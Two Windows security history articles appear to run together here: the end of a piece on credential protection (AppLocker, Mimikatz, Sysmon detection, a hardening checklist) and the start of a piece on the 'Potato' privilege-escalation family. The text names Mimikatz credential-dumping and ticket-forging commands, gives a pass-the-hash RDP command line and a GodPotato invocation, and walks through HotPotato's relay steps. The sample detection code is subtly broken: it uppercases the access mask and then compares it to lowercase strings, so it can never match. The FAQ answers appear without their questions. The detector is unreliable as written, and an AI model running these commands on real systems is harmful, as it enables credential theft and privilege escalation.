AppLocker still carries its Windows 7 structural gaps in late 2014: the Application Identity service can be stopped by any process running as LocalSystem, after which enforcement degrades open until reboot, and the dual-DACL bypass class (rules that pass both Publisher and Path checks but reach a different binary at runtime) remains unaddressed [@ms-applocker; @ms-applocker-design]. Windows Defender Application Control -- the kernel-enforced policy successor that closes both gaps -- is still a Windows 10 enterprise feature in the Part 4 window. Secure Boot has its first dbx revocation politics in this window: Microsoft's revocation list has to retire compromised UEFI bootloaders without bricking dual-boot Linux installations on the millions of OEM machines that ship with Secure Boot enabled, and the cadence and scope of dbx updates becomes a recurring operational point of friction between Microsoft, OEMs, and the Linux distribution community [@ms-secure-boot; @mjg59-shim-signed]. The Pass-the-Hash v2 tiering recommendations are aspirational for the vast majority of 2014 deployments -- a complete tier 0 / tier 1 / tier 2 administrative-account programme is a multi-year project that requires Active Directory restructuring, change-management governance, and operator retraining at scale, and most estates that read the v2 paper applied KB2871997 and stopped there [@ms-pth-v2].

Mimikatz's post-Part-3 modules (Skeleton Key and DCSync; see §11 FAQ) sit in the same codebase, are anchor events in the Part 4 window, and define the credential-replay horizon the Part 3 reader is staring at [@secureworks-skeleton-key; @metcalf-dcsync].

The defining open question at the end of 2014 is how Microsoft isolates a long-lived user-mode process (LSASS) holding the most valuable secrets in the operating system from an administrator-privileged attacker on the same host, without breaking the hundreds of in-tree dependencies LSASS has accumulated since NT 3.1. The answer -- Virtualisation-Based Security plus the trustlet model -- is the spine of Part 4. It requires a hypervisor, a hardware-rooted boot chain, a re-architected LSA plug-in protocol that splits sensitive operations into LSAISO trustlet calls, and an operational deployment story that took Microsoft from late 2014 prototypes to general availability in 2015 and broad enterprise adoption only by 2018-2019.

Note: At the end of 2014, WDigest plaintext storage is closed by default. NT hashes, Kerberos TGTs, the krbtgt master key, and every other secret LSASS holds in recoverable form remain extractable by any administrator on the same host who can load a kernel driver. The architectural answer -- Credential Guard in Windows 10 1507 -- ships eight months later [@ms-credential-guard]. The Part 3 window proves the problem is real; Part 4 ships the answer.

Even at end-of-2014, with every Microsoft control available, the dominant Fortune-500 estate had applied the WDigest opt-out [@kb2871997] and almost nothing else. Tiering [@ms-pth-v2] is a multi-year programme. RunAsPPL [@ms-lsa-protection] requires an LSA plug-in audit that breaks any custom credential provider not yet re-signed at the PPL signer level. The architectural answer -- Credential Guard in 2015 [@ms-credential-guard] -- arrives to a deployment surface still struggling to deploy the 2013 controls. The gap between *the security primitive Microsoft shipped* and *the security primitive a Fortune-500 estate actually had running* was the largest it had ever been, and it grew through the Windows 10 1507 General Availability window.

Eight open problems. None of them admits a Part 3-era technical solution. So how does a practitioner read the 2009-2014 primitives against a 2026 Windows 11 baseline?

10. Practical Guide: Reading the 2009-2014 Primitives Against a 2026 Windows 11 Baseline

The previous nine sections built the structural argument. This section answers the operator's question: which of these 2009-2014 primitives are still load-bearing in 2026, and which were superseded?

10.1 Which Part 3 primitives are still load-bearing in 2026

Primitive (Part 3)	Still in use 2026?	Superseded by
AppLocker (Win 7+) [@ms-applocker]	Yes, on Windows 10/11 Enterprise estates	App Control for Business (WDAC) for new deployments
ELAM (Win 8+) [@ms-elam]	Yes, load-bearing for the boot chain on every supported Windows	Unchanged primitive; Defender's WdBoot.sys is the in-box ELAM driver
UEFI Secure Boot (Win 8+) [@ms-secure-boot]	Yes; mandatory for Windows 11 hardware certification	Strengthened with mandatory dbx revocation enforcement
AppContainer (Win 8+) [@windows-internals-6e-p1]	Yes; substrate for MSIX, Edge renderers, Win32 App Isolation, Recall trustlet	Generalised across all packaged Win32 apps via App Isolation
LSA Protected Process (Win 8.1+) [@ms-lsa-protection]	Yes; on by default on new installations of Windows 11 22H2 and later (upgraded systems retain default-off and require manual or GPO enablement)	Complemented by Credential Guard on enterprise hardware
Restricted Admin RDP (Win 8.1+) [@kb2871997]	Yes; still recommended	Remote Credential Guard (Win 10 1607+) for high-tier environments
WDigest plaintext disablement (KB2871997) [@kb2871997]	Default on every supported Windows since 2014	Unchanged primitive; WDigest itself is essentially deprecated
Mitigating Pass-the-Hash tiering model [@ms-pth-v2]	Yes; lives on as Privileged Access Workstations and Enterprise Access Model	Securing Privileged Access online documentation

Two surprises in the table. First, LSA Protected Process is on by default on new installations of Windows 11 22H2 and later -- which closes the gap for newly-shipped devices, though estates that upgraded from earlier Windows versions still require the manual or GPO enablement step that defined the 2014-2020 period. Second, AppLocker is still in production on enterprise estates ten-plus years after Windows 7 General Availability; the WDAC successor is the recommendation for new deployments, but the installed AppLocker base did not get replaced.

10.2 Mimikatz tradecraft as the floor of red-team capability

On any pre-Credential-Guard Windows estate -- and that is still a non-trivial fraction of the 2026 install base -- Mimikatz's 2011-2014 module set defines the floor of red-team capability. sekurlsa::logonpasswords reads every LSA-cached credential the operator's privileges allow [@mimikatz-github]. sekurlsa::tickets /export extracts every Kerberos ticket from the LSA cache. lsadump::secrets reads LSA private secrets. lsadump::sam reads local SAM hashes. kerberos::ptt re-imports tickets for replay. kerberos::golden forges Golden Tickets given a stolen krbtgt hash [@metcalf-golden-ticket]. The Part 3 window's primitives are the foundation any practitioner reasoning about lateral movement in a Windows-AD estate uses every day, and the conceptual model Sean Metcalf documented on ADSecurity.org remains the canonical operator-grade reference.

10.3 Detection

Where to look. Sysmon ProcessAccess events on LSASS (event ID 10) with Granted Access masks of 0x1010, 0x1410, or 0x143A correspond to the read-and-decrypt access pattern Mimikatz's sekurlsa::logonpasswords requires; the masks decompose into PROCESS_VM_READ + PROCESS_QUERY_LIMITED_INFORMATION (0x1010), plus PROCESS_VM_OPERATION (0x1410), plus PROCESS_VM_WRITE + PROCESS_CREATE_THREAD (0x143A), and are widely-attested operator-grade detection lore catalogued across EDR vendor blogs and MITRE ATT&CK T1003.001 (OS Credential Dumping: LSASS Memory) sub-techniques [@mitre-t1003-001]. Windows Security event 4673 (sensitive privilege use) on SeDebugPrivilege fires when a process adjusts its token to enable debug privileges -- the prerequisite for privilege::debug -- which is interesting in itself when the actor is not a known debugger. System Access Control Lists on the krbtgt account, paired with Domain Controller audit subcategories for Kerberos AS-REQ and TGS-REQ, surface the AS-REQ-without-corresponding-logon anomalies that Golden Ticket use produces [@metcalf-golden-ticket]. Microsoft Defender for Identity raises Suspected Golden Ticket and Suspected Skeleton Key alerts on its analysis of domain-controller telemetry (the Skeleton Key alert is a Part 4 forward reference).

{` // Conceptual classifier for Sysmon event ID 10 (ProcessAccess) targeting LSASS. // The canonical "read-and-decrypt" mask pattern Mimikatz needs to call // OpenProcess + ReadProcessMemory + BCryptDecrypt against LSASS. function isMimikatzLikely(event) { if (event.id !== 10) return false; if (!/lsass.exe$/i.test(event.targetImage)) return false; const interesting = new Set(['0x1010', '0x1410', '0x143A']); return interesting.has(event.grantedAccess.toLowerCase().toUpperCase()); }

const sample = { id: 10, targetImage: 'C:\\Windows\\System32\\lsass.exe', grantedAccess: '0x1410', sourceImage: 'C:\\tools\\mimikatz.exe' };

console.log('Alert?', isMimikatzLikely(sample)); console.log('SOCs combine this with allow-listed debugger paths and PPL state.'); `}

Note: The same Restricted Admin flag that closes the disclosure-at-server gap [@kb2871997] also enables a Pass-the-Hash operator to invoke sekurlsa::pth /run:"mstsc /restrictedadmin" from a compromised host and authenticate to the target RDP server using only the stolen NT hash [@mimikatz-github]. Restricted Admin is a disclosure mitigation, not a replay mitigation. Combine it with Remote Credential Guard (Windows 10 1607+) on tier 0 administrative paths.

1. Apply KB2871997 with `UseLogonCredential = 0` on every supported Windows. Zero downside. 2. Enable `RunAsPPL = 1` after a one-cycle LSA plug-in audit. Plan a rollback for any custom credential provider not yet re-signed at the PPL signer level [@ms-lsa-protection]. 3. Adopt the Pass-the-Hash v2 tiering model as planning vocabulary, then operationalise it as Microsoft's *Securing Privileged Access* / Enterprise Access Model documentation. Multi-year programme; treat as a roadmap [@ms-pth-v2]. 4. Use Restricted Admin for administrative RDP; promote to Remote Credential Guard on tier 0 paths. 5. Run AppLocker on every Enterprise SKU you have not yet migrated to WDAC [@ms-applocker]. Ensure the Application Identity service (`AppIDSvc`) is set to start automatically by policy, since AppLocker does not enforce when it is stopped. 6. Enable Secure Boot, Measured Boot, and BitLocker (TPM + PIN) on every laptop [@ms-secure-boot]. Microsoft's default platform validation profile on native UEFI + Secure Boot systems is PCR 7 (Secure Boot State) and PCR 11 (BitLocker access control), which is the *correct* profile to use when Secure Boot is on and the platform's option ROMs are trusted [@ms-bitlocker-configure]. For hardened estates that want to detect tampering with the UEFI firmware itself, the option-ROM configuration, or the boot-manager binary independent of Secure Boot's signature check, expand the profile to PCRs 0, 2, 4, 7, 11 -- adding PCR 0 (UEFI firmware code), PCR 2 (option-ROM code), and PCR 4 (boot-manager binary measurements) on top of the default [@ms-bitlocker-countermeasures]. The hardened profile generates more BitLocker recovery-key prompts after legitimate firmware updates, so the operational cost is real and the choice between the two profiles is the standard balance between detection coverage and help-desk load. 7. Enable Credential Guard (Windows 10 1607+) on every estate whose hardware supports it [@ms-credential-guard]. This is the architectural answer; everything above is harm reduction.

The 2009-2014 primitives are still here. So is Mimikatz. Part 4 explains why, and what Microsoft did about it.

11. Frequently asked questions

No. The four zero-days -- MS10-046 (LNK shortcut RCE), MS10-061 (Print Spooler RCE), MS10-073 (win32k.sys keyboard-layout LPE), and MS10-092 (Task Scheduler LPE) -- were used across the worm's propagation and escalation surfaces, *not* chained in a single sequential exploit [@symantec-stuxnet-dossier-v14; @ms-bulletin-ms10-046; @ms-bulletin-ms10-061; @ms-bulletin-ms10-073; @ms-bulletin-ms10-092]. Different hosts encountered different combinations depending on patch level, USB usage, network shape, and whether the local user already had administrative privileges. Only with two qualifiers -- multi-zero-day and kinetic-physical effect. Operation Aurora (January 12, 2010) used a single Internet Explorer 0-day (CVE-2010-0249) against Google and at least twenty other named victims including Adobe, Juniper, Yahoo, Symantec, Northrop Grumman, Dow Chemical, and Morgan Stanley (full sourcing and the verbatim Google wording in §3.6) [@google-aurora-wayback; @nvd-cve-2010-0249]; Stuxnet (June 17, 2010) used four zero-days for kinetic effect [@symantec-stuxnet-dossier-v14]. Drop either qualifier and Aurora falsifies the framing. No. The Pass-the-Hash concept dates to Paul Ashton's 1997 NTBugtraq post [@wikipedia-pth] and was operationalised by Hernan Ochoa's 2008 Pass-the-Hash Toolkit (`iam.exe` / `whosthere.exe`) at Core Security Corelabs [@core-ptht-2008]. What Mimikatz did was make the primitive operational on a default-configured modern Windows host without requiring custom NTLM client code [@greenberg-mimikatz-wired; @mimikatz-github]. It turned a known protocol weakness into a one-line operator tool that ran against any LSASS the operator could `OpenProcess` against, and it added the Kerberos primitives (Pass-the-Ticket, Overpass-the-Hash, Golden Ticket) that previous Pass-the-Hash toolchains had not addressed. Skip Duckwall and Chris Campbell's *Pass-the-Hash 2: The Admin's Revenge* at Black Hat USA 2013 formalised the graph-walking discipline that ties Mimikatz primitives together into the lateral-movement operating model the rest of the decade inherits [@duckwall-campbell-bh2013]. Partially. The headline CVE (CVE-2014-6321) was patched on a published Patch Tuesday bulletin on November 11, 2014 [@ms-bulletin-ms14-066; @nvd-cve-2014-6321] with contemporary KrebsOnSecurity coverage [@krebs-ms14-066] and public proof-of-concept walkthroughs within months. The "silent" framing applies only to the additional Schannel hardening fixes Microsoft bundled into the same bulletin without separate disclosures. This article deliberately does not name specific CVE IDs for those bundled extras, because prior pipeline runs found such attributions factually wrong. It wasn't, because Microsoft published v1 in December 2012 [@ms-pth-v1-landing] and v2 in July 2014 [@ms-pth-v2] and then migrated subsequent guidance into the post-2014 *Securing Privileged Access* online documentation rather than producing a numbered v3 PDF. Any "v3 2017" reference in secondary sources is incorrect; the canonical documentation chain after v2 is the *Securing Privileged Access* and *Enterprise Access Model* pages on Microsoft Learn. No. The Symantec dossier was authored by Nicolas Falliere, Liam O Murchu, and Eric Chien of Symantec Security Response, v1.4, February 2011 [@symantec-stuxnet-dossier-v14]. Bruce Dang was at Microsoft's Security Response Center and co-presented "Adventures in Analyzing Stuxnet" with Peter Ferrie at the 27th Chaos Communication Congress (27C3) in Berlin on December 27, 2010 [@dang-ferrie-27c3], which is a separate primary covering the win32k.sys CVE-2010-2743 kernel exploit walkthrough (the 27C3-not-29C3 venue correction is documented in the §3.1 sidenote). Dang's affiliation is Microsoft MSRC, not Symantec. No. Mimikatz's first public release was May 2011 (closed source) [@greenberg-mimikatz-wired; @wikipedia-mimikatz]. The GitHub repository `gentilkiwi/mimikatz` was created on April 6, 2014 at 18:30:02 UTC -- a timestamp anyone can verify via the GitHub API [@mimikatz-github]. Any "2007" date refers to Delpy's pre-release private experimentation, not a public release. No. Both anchor events post-date the Part 3 window. Dell SecureWorks Counter Threat Unit disclosed the Skeleton Key malware family on January 12, 2015 [@secureworks-skeleton-key], and Delpy added the corresponding `misc::skeleton` module to Mimikatz on January 17, 2015. Skeleton Key, DCSync, and the Credential Guard architectural pivot are the spine of Part 4 [@metcalf-dcsync; @ms-credential-guard].

Skeleton Key. Virtualisation-Based Security. Credential Guard. Part 4 opens on January 17, 2015, with the same Mimikatz codebase and a new technique.

SYSTEM in Ten Seconds: How the Potato Family Survived Every Microsoft Mitigation

noreply@paragmali.com (Parag Mali) — Sun, 31 May 2026 00:00:00 GMT

The Potato family is a decade of Windows local privilege escalation, eleven named variants disclosed between January 2016 (HotPotato) and August 2024 (FakePotato), all pivoting on the same primitive: `SeImpersonatePrivilege` (introduced as a defined user right in the Windows 2000 SP4 / XP SP2 / Server 2003 hardening cycle [@msrc-token-kidnapping; @ms-impersonate-policy]) plus `ImpersonateNamedPipeClient` (a Win32 primitive documented as supported since Windows XP for clients and Windows Server 2003 for servers [@ms-impersonate-api]). Each variant -- HotPotato (January 2016), RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, RemotePotato0, JuicyPotatoNG, GodPotato (the 2026 default), LocalPotato (CVE-2023-21746), SilverPotato, FakePotato (CVE-2024-38100) -- defeats a specific Microsoft mitigation, but no mitigation closes the family. The structural reason is the MSRC Windows Security Servicing Criteria, which treats the `SeImpersonatePrivilege`-to-SYSTEM transition as a safety boundary, not a security boundary. The Potato class is therefore an architectural decision, not a bug.

1. A Web Shell, Ten Seconds, SYSTEM

A red teamer drops a web shell on an Internet Information Services server running as IIS APPPOOL\DefaultAppPool. Ten seconds later, the shell prints nt authority\system. The operator did not exploit a memory-corruption bug, did not bypass a kernel security boundary, did not even use an undocumented API. They invoked CoCreateInstance against a Distributed COM (DCOM) class identifier, waited for the SYSTEM-context RPCSS service to authenticate to a named pipe they owned, and called ImpersonateNamedPipeClient [@ms-impersonate-api]. Every step was documented Win32 behaviour. The exploit is that Microsoft has spent a decade refusing to call any of those steps a security boundary [@msrc-servicing-criteria; @troopers24].

The artefact in the operator's hand is one of several. In May 2026 it is most likely GodPotato.exe -cmd "cmd /c whoami" -- a single Apache 2.0-licensed binary that BeichenDream published on GitHub on December 23, 2022 [@beichendream-god]. The README says it works on every supported Windows release from Windows 8 through Windows 11, and from Server 2012 through Server 2022 [@beichendream-god]. Community testing has since extended the working range to Server 2025 with default Distributed COM hardening enabled [@compass-three-headed].

A Windows user-rights assignment that lets a thread substitute another user's security context for its own (typically via `ImpersonateNamedPipeClient` or `ImpersonateLoggedOnUser`). Granted by default to `LOCAL SERVICE`, `NETWORK SERVICE`, every Internet Information Services application-pool identity, and most service accounts [@ms-impersonate-policy]. Introduced as a defined user right in the Windows 2000 SP4 / XP SP2 / Server 2003 service-hardening cycle that MSRC discusses in its 2009 Token Kidnapping retrospective [@msrc-token-kidnapping], after which possessing it has been one named-pipe round-trip away from being SYSTEM.

The IIS context matters. The default application-pool identity holds SeImpersonatePrivilege because IIS depends on it for legitimate request-scoped impersonation [@itm4n-printspoofer]. So does the default SQL Server service account, the Background Intelligent Transfer Service (BITS) account, the Spooler service account, and every account that hosts a Windows service that may need to "act as" a calling user. Anyone who can run code inside one of those accounts can run code as SYSTEM in seconds.

Note: Every step the operator takes -- CoCreateInstance, the SYSTEM-context RPCSS authentication, ImpersonateNamedPipeClient, the subsequent CreateProcessWithToken -- is in Microsoft's published Win32 contract [@ms-impersonate-api; @ms-dcom-spec]. None of them is a memory-corruption bug. The "exploit" is the existence of a documented call sequence that turns a service account into SYSTEM, on a fully-patched Windows 11 box, in 2026.

This is the puzzle the rest of the article is here to solve. The technique has been a one-binary operation for nearly a decade [@troopers24]. Microsoft has shipped three named hardening waves against it (a 2019-2020 OXID-resolver fix [@forshaw-pz-2021]; the three-phase CVE-2021-26414 Distributed COM hardening rollout from June 2021 to March 2023 [@ms-kb5004442]; and per-variant CVE patches in 2023 and 2024 [@nvd-cve-2023-21746; @nvd-cve-2024-38100]). None of those waves closed the family. Why?

2. The Architectural Primitive

The answer is in a Microsoft document called the Windows Security Servicing Criteria [@msrc-servicing-criteria]. It defines what Microsoft will and will not service as a security vulnerability. Quoting the document directly: "A security boundary provides a logical separation between the code and data of security domains with different levels of trust" [@msrc-servicing-criteria]. The page then lists the boundaries Microsoft has defined for Windows -- kernel mode versus user mode, virtual machine versus host, session versus session, and so on. The list is the enumeration that decides which bug classes get CVEs and which do not.

The Potato family pivots on a transition that is conspicuously not on the list: a service account that holds SeImpersonatePrivilege becoming SYSTEM. As Andrea Pierini and Antonio Cocomazzi articulated in the Troopers 24 retrospective, Microsoft's published position is that the Windows Service Hardening boundary is a safety boundary rather than a security boundary, which is why so many Potato exploits continue to work on fully updated Windows systems [@troopers24]. WSH is Microsoft's own shorthand for Windows Service Hardening -- the family of post-XP-SP2 protections that isolate service accounts from one another. The position is consistent with everything Microsoft has shipped: per-variant patches when a specific vehicle becomes too embarrassing, and silence on the underlying primitive. (The verbatim Troopers 24 articulation appears in §13.)

The boundary *definition* on `microsoft.com/en-us/msrc/windows-security-servicing-criteria` is rendered in static HTML and can be fetched directly [@msrc-servicing-criteria]. The boundary *enumeration table* immediately below it, which lists the bug classes that do and do not get CVEs, is JavaScript-rendered and does not appear in static fetches. The community-canonical secondary source for what is on that list is the Troopers 24 talk by Pierini and Cocomazzi [@troopers24], cross-referenced against James Forshaw's Project Zero retrospective from October 2021 [@forshaw-pz-2021] and Mark Russinovich's `aka.ms/win-security-boundaries` paraphrase. This article cites the primary for the definition and the Troopers retrospective for the enumeration.

Three primitives, taken together, mechanically determine the entire family. Once they are stated, the only remaining question is which SYSTEM-context service is cheapest to coerce.

Primitive one: SeImpersonatePrivilege

SeImpersonatePrivilege is a Windows user-rights assignment that permits a thread to call ImpersonateNamedPipeClient, ImpersonateLoggedOnUser, and the related impersonation APIs [@ms-impersonate-policy]. By Windows default, it is granted to LOCAL SERVICE, NETWORK SERVICE, every Internet Information Services application-pool identity, and most service accounts that need to act on behalf of clients [@itm4n-printspoofer]. (For when the right was introduced and a working definition, see §1; Decoder's one-sentence summary of what the grant means in practice is the climactic PullQuote in §6.3.)

Primitive two: ImpersonateNamedPipeClient

A Win32 API that lets the server end of a named pipe adopt the security context of whoever just connected to that pipe. After the call, the calling thread holds an impersonation token for the client identity, and any subsequent system call (including `CreateProcessWithToken`) executes as that identity. The function has been part of `namedpipeapi.h` since Windows XP for clients and Windows Server 2003 for servers, with no deprecation notice as of the 2025-07-01 documentation revision [@ms-impersonate-api].

The mechanism is exactly the one a SYSTEM-context service uses for legitimate request-scoped impersonation. The Potato class subverts it by getting a SYSTEM-context service to connect to a pipe the attacker owns. No memory corruption, no kernel exploit, no undocumented API. The Win32 reference describes the call as the standard way for a pipe server to "impersonate the client end" [@ms-impersonate-api].

Primitive three: the MSRC servicing-criteria carve-out

The third primitive is policy, not code. The MSRC document distinguishes a security boundary (whose violation gets a CVE and a security update) from a safety boundary (where Microsoft will patch when convenient but does not commit to a service-level objective). The defensible reading, articulated explicitly by Pierini and Cocomazzi at Troopers 24, is that the SYSTEM-from-SeImpersonate transition lives on the safety side [@troopers24]. The implication is structural: a service account holding SeImpersonatePrivilege "is already privileged" in Microsoft's policy view. Promoting it to SYSTEM is therefore not a privilege escalation that requires a security update.

flowchart LR A[Service account with SeImpersonatePrivilege] --> B[Coerce SYSTEM-context service to connect to attacker-owned named pipe] B --> C[Call ImpersonateNamedPipeClient on server thread] C --> D[Thread now holds SYSTEM impersonation token] D --> E[CreateProcessWithToken spawns SYSTEM process] F[MSRC servicing criteria carve-out] -.->|"Allows step A to remain a default grant"| A F -.->|"Allows step C to remain a documented Win32 API"| C

Taken together, the three primitives reduce the entire Potato family to a single problem statement: find the cheapest SYSTEM-context service to coerce into a callback. Every named variant since 2016 is an answer to that problem.

Key idea: Microsoft does not consider the SeImpersonatePrivilege-to-SYSTEM transition a security boundary; it considers it a safety boundary. The Potato family is the consequence. Variants change vehicles -- NetBIOS spoofing, BITS DCOM, Print Spooler RPC, EFS RPC, RPCSS OXID, ShellWindows -- but every one of them lives on the same architectural carve-out [@troopers24; @msrc-servicing-criteria].

The phrase aka.ms/win-security-boundaries was popularised by Mark Russinovich's Channel 9 talks of the late 2010s. Channel 9 was retired on December 1, 2021, so the link is now mostly cited as a memorable handle for the boundary list rather than as a clickable URL. The live equivalent is the MSRC servicing criteria document itself [@msrc-servicing-criteria].

Given primitives this old and this widely default-granted -- both the named-pipe impersonation API and the SeImpersonatePrivilege user right have been in their current form since the Windows 2000 SP4 / Server 2003 / XP SP2 service-hardening cycle [@msrc-token-kidnapping; @ms-impersonate-policy; @ms-impersonate-api] -- the natural question is why the named Potato family did not appear until 2016. The next section is the answer.

3. The Long Pre-Potato Era, 2001-2015

In March 2008, Cesar Cerrudo stood on a stage in Dubai at Hack-in-the-Box and demonstrated that a SYSTEM-context Windows service holding SeImpersonatePrivilege was, in effect, one named-pipe call away from SYSTEM [@cerrudo-hitb-slides; @msrc-token-kidnapping]. Microsoft acknowledged the technique on the MSRC blog on April 14, 2009, and shipped MS09-012 -- the patch Cerrudo later nicknamed "Chimichurri" in his Black Hat USA 2010 follow-up [@msrc-token-kidnapping; @blackhat-2010-cerrudo]. Cerrudo extended the work two years later at Black Hat USA 2010 in a paper titled "Token Kidnapping's Revenge" [@blackhat-2010-cerrudo]. Microsoft patched the specific NetworkService-to-SYSTEM vehicle. They did not revoke the privilege from the service accounts that held it [@msrc-token-kidnapping].

That pattern -- patch the vehicle, leave the primitive -- is the family's bequest from Cerrudo.

NTLM **relay** forwards an NTLM authentication captured from victim A to a different server B, where the attacker authenticates as A. NTLM **reflection** is the special case where B is the same machine (often the same protocol) as A. Microsoft fixed the most obvious same-protocol case with MS08-068 in 2008 [@ms-ms08-068]. Cross-protocol reflection (HTTP-to-SMB, DCOM-to-RPC) was not closed by that patch and became the doorway through which the Potato family entered.

Seven years before Cerrudo, on March 31, 2001, Sir Dystic of the Cult of the Dead Cow stood on a different stage at @lanta.con in Atlanta and released SMBRelay, the first public same-protocol NTLM relay tool [@cultdeadcow-smbrelay]. Microsoft eventually responded with MS08-068, a same-protocol-only fix [@ms-ms08-068]. Cross-protocol relay -- HTTP to SMB, DCOM to local RPC -- remained open.

That opening was the canvas James Forshaw painted on. In December 2014, then at Google Project Zero, Forshaw filed Issue 222 ("Windows: Local WebDAV NTLM Reflection EoP") demonstrating that the WebClient service performs NTLM authentication when asked to open a WebDAV URL, and that the resulting NTLM session can be reflected cross-protocol to the local SMB service [@forshaw-pz-2021]. A few months later Forshaw filed Issue 325, showing that CoGetInstanceFromIStorage could coerce a DCOM activation into authenticating to an attacker-controlled TCP endpoint. Microsoft patched the 2015 issue as CVE-2015-2370 [@nvd-cve-2015-2370]. In his October 2021 retrospective Forshaw wrote, with the laconic precision of a researcher whose contributions are still being weaponised seven years later:

The technique to locally relay authentication for DCOM was something I originally reported back in 2015 (issue 325). This issue was fixed as CVE-2015-2370, however the underlying authentication relay using DCOM remained. This was repurposed and expanded upon by various others for local and remote privilege escalation in the RottenPotato series of exploits. -- James Forshaw, Project Zero, October 2021 [@forshaw-pz-2021]

Cerrudo nicknamed the MS09-012 patch "Chimichurri" after the Argentine green sauce, and used the name when he reprised the work at Black Hat USA 2010 [@blackhat-2010-cerrudo]. Cerrudo was at Argeniss and later IOActive when he developed the technique [@msrc-token-kidnapping; @blackhat-2010-cerrudo].

The primary artefact for Cerrudo's March 2008 Hack-in-the-Box Dubai talk (slides, video, abstract) is no longer reachable on the conference site; the MSRC blog's retrospective is the canonical secondary that anchors the date and venue [@msrc-token-kidnapping]. The Black Hat USA 2010 "Token Kidnapping's Revenge" whitepaper [@blackhat-2010-cerrudo] is the durable primary for the underlying technique.

gantt title Pre-Potato lineage 2001-2015 dateFormat YYYY-MM section NTLM relay SMBRelay (Sir Dystic) :a1, 2001-03, 1M MS08-068 same-protocol fix :a2, 2008-10, 1M section Token escalation Token Kidnapping HITB Dubai (Cerrudo) :b1, 2008-03, 1M MS09-012 Chimichurri :b2, 2009-04, 1M Token Kidnapping's Revenge (Cerrudo) :b3, 2010-07, 1M section DCOM primitive Project Zero Issue 222 (Forshaw) :c1, 2014-12, 1M Project Zero Issue 325 (Forshaw) :c2, 2015-04, 1M CVE-2015-2370 patch :c3, 2015-07, 1M

By the end of 2015 the three pieces were on the table. A long-standing default privilege grant (Cerrudo's "SeImpersonate equals SYSTEM" thesis). A specific cross-protocol reflection technique (Forshaw's WebDAV-to-SMB Issue 222). A specific DCOM-activation coercion primitive (Forshaw's CoGetInstanceFromIStorage Issue 325). Microsoft had patched the literal bug in the third piece and explicitly declined to revoke the privilege in the first. The technique was published, the proof-of-concept code was on GitHub, and the family was a binary release away. The next chapter is the moment someone shipped the binary.

4. HotPotato, January 16, 2016

On January 16, 2016, Stephen Breen of Foxglove Security published a blog post titled "Hot Potato" [@foxglove-hotpotato]. He had just spoken at ShmooCon. The repository, foxglovesec/Potato, would land on GitHub three weeks later, on February 9, 2016 [@foxglove-potato-repo]. The post's opening sentence is the family's birth certificate:

Hot Potato (aka: Potato) takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing. -- Stephen Breen, Foxglove Security, January 16, 2016 [@foxglove-hotpotato]

Breen had not invented NTLM reflection. He had combined three existing primitives into a single-binary, one-click privilege escalation that worked on every default Windows install from Windows 7 through Server 2012 [@foxglove-hotpotato]. The Foxglove post acknowledges the lineage explicitly: "a similar technique was disclosed by the guys at Google Project Zero ... In fact, some of our code was shamelessly borrowed from their PoC" [@foxglove-hotpotato].

How HotPotato works

The exploit chains three independent tricks. Step one is UDP-port exhaustion. The tool opens enough UDP sockets that the local NetBIOS Name Service (NBNS) name lookups fail, forcing Windows to fall back to broadcast-based name resolution [@foxglove-hotpotato]. Step two is NBNS spoofing of the WPAD hostname, pointed at 127.0.0.1. Step three is the actual reflection: when Windows Update or Windows Defender polls for an update, it consults the WPAD URL, gets the attacker's proxy auto-configuration script, and routes its HTTP requests through the attacker's local listener -- which then relays the SYSTEM-context NTLM negotiation to the local SMB service [@foxglove-hotpotato].

sequenceDiagram participant Atk as Hot Potato tool participant NBNS as NetBIOS Name Service participant WU as Windows Update (SYSTEM) participant WPAD as WPAD HTTP listener (attacker) participant SMB as Local SMB service Atk->>NBNS: UDP-flood to exhaust ports and force broadcast Atk->>NBNS: Spoof WPAD hostname pointing at 127.0.0.1 WU->>WPAD: GET wpad.dat over HTTP WPAD-->>WU: Attacker-supplied proxy auto-config WU->>WPAD: HTTP request with SYSTEM-context NTLM negotiate WPAD->>SMB: Reflect the NTLM exchange to local SMB SMB-->>Atk: SMB session authenticated as SYSTEM Atk->>Atk: ImpersonateNamedPipeClient and spawn SYSTEM shell

The result was a single binary that produced a SYSTEM shell from any local user account on the target host -- because on a default Windows install every authenticated local user can run code, open UDP sockets, and bind a loopback HTTP listener, which is all HotPotato needs to bootstrap.

Note: HotPotato does not use Distributed COM activation at all. It uses NetBIOS spoofing, WPAD hijacking, and HTTP-to-SMB cross-protocol relay. The family is named for HotPotato but the defining primitive of every later variant -- DCOM activation -- is absent. HotPotato is in the family because it pivots through the same SeImpersonatePrivilege plus named-pipe-impersonation core, which is the actual definition of the family. The repository name Potato and the family naming convention are both Breen's [@foxglove-potato-repo].

The naming pattern that has now produced eleven variants started with the GitHub repository name foxglovesec/Potato [@foxglove-potato-repo]. Breen later wrote that "Hot" was a riff on the fact that the SYSTEM token was passed around like a hot potato; the suffix convention spread from there organically.

Why HotPotato did not last

HotPotato had three structural weaknesses. NetBIOS spoofing is unreliable: the UDP-port exhaustion can fail under load, group policy can pin a real WPAD URL, and a legitimate WPAD response can win the race. NetBIOS is disabled in security-hardened environments as a matter of routine. And the HTTP-to-SMB cross-protocol path was the very thing Extended Protection for Authentication and SMB channel-binding tokens were designed to close [@crowdstrike-drop-mic]. On a Windows 10 1607 host with EPA on the SMB server, HotPotato failed.

Researchers needed a coercion vehicle that was deterministic, did not rely on broadcast spoofing, and used a protocol Microsoft had not yet hardened end-to-end. Forshaw's Project Zero Issue 325 -- the CoGetInstanceFromIStorage DCOM trigger -- met all three criteria [@forshaw-pz-2021]. The next variant weaponised it.

5. The DCOM-Activation Breakthrough, 2016-2018

5.1 RottenPotato (DerbyCon 6, September 2016)

Eight months after HotPotato, Stephen Breen returned with a co-author and a new vehicle. The talk was on September 23, 2016 -- the Friday of DerbyCon 6 -- and the blog post followed three days later [@foxglove-rottenpotato]. The Foxglove post identifies the co-author by name: "myself and my partner in crime, Chris Mallz (@vvalien1) spoke at DerbyCon about a project we've been working on for the last few months" [@foxglove-rottenpotato].

Many secondary sources credit Andrea Pierini (Decoder) as the RottenPotato co-author. The Foxglove primary disproves this verbatim [@foxglove-rottenpotato]. Decoder enters the family lineage two years later, with JuicyPotato in 2018 [@ohpe-juicy]. Chris Mallz is the actual RottenPotato co-author.

